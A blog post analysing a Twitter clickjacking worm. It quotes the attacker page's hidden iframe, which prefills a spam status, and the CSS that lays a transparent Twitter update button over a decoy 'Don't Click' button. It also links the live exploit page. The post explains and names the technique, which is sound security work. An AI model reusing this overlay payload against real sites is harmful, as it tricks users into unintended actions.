I've been posting to Twitter more than my own blog lately, but I noticed a Twitter exploit today that I thought was worth sharing in more than 140 characters. You can try the exploit for yourself at the following URL:

http://umoor.eu/blog/yes-we-can.php

Those who are exploited will post the following message to Twitter:

Don't Click: http://tinyurl.com/amgzs6

At first, I thought this might be a new CSRF exploit, but a closer look quickly ruled that out. If you view source on that page, you'll see an IFrame that loads Twitter with a message pre-filled:

1. <iframe src="http://twitter.com/home?status=Don't Click: http://tinyurl.com/amgzs6" scrolling="no"></iframe>

Below the IFrame is a button:

1. <button>Don't Click</button>

What makes this a neat trick is the use of clickjacking; when you click this button, you actually submit the form on Twitter.

But how?

Look closely at the CSS:

1. <style>
2. iframe {
3.     position: absolute;
4.     width: 550px;
5.     height: 228px;
6.     top: -170px;
7.     left: -400px;
8.     z-index: 2;
9.     opacity: 0;
10.     filter: alpha(opacity=0);
11. }
12.  
13. button {
14.     position: absolute;
15.     top: 10px;
16.     left: 10px;
17.     z-index: 1;
18.     width: 120px;
19. }
20. </style>

This positions the IFrame and button in such a way that Twitter's update button (in the IFrame) is positioned on top of the ordinary button on the page, but the IFrame is hidden from view, so you think you're clicking the ordinary button underneath it, but you're really clicking Twitter's update button.

I have a very simple example that demonstrates this without the opacity set to zero, so if you pay close attention while the page loads, you will see the Don't Click button until Twitter loads in the background, after which you'll see Twitter's update button rendering on top of it:

http://shiflett.org/twitter.php

Pretty clever and a great example of clickjacking. Remember, this is clickjacking, not CSRF.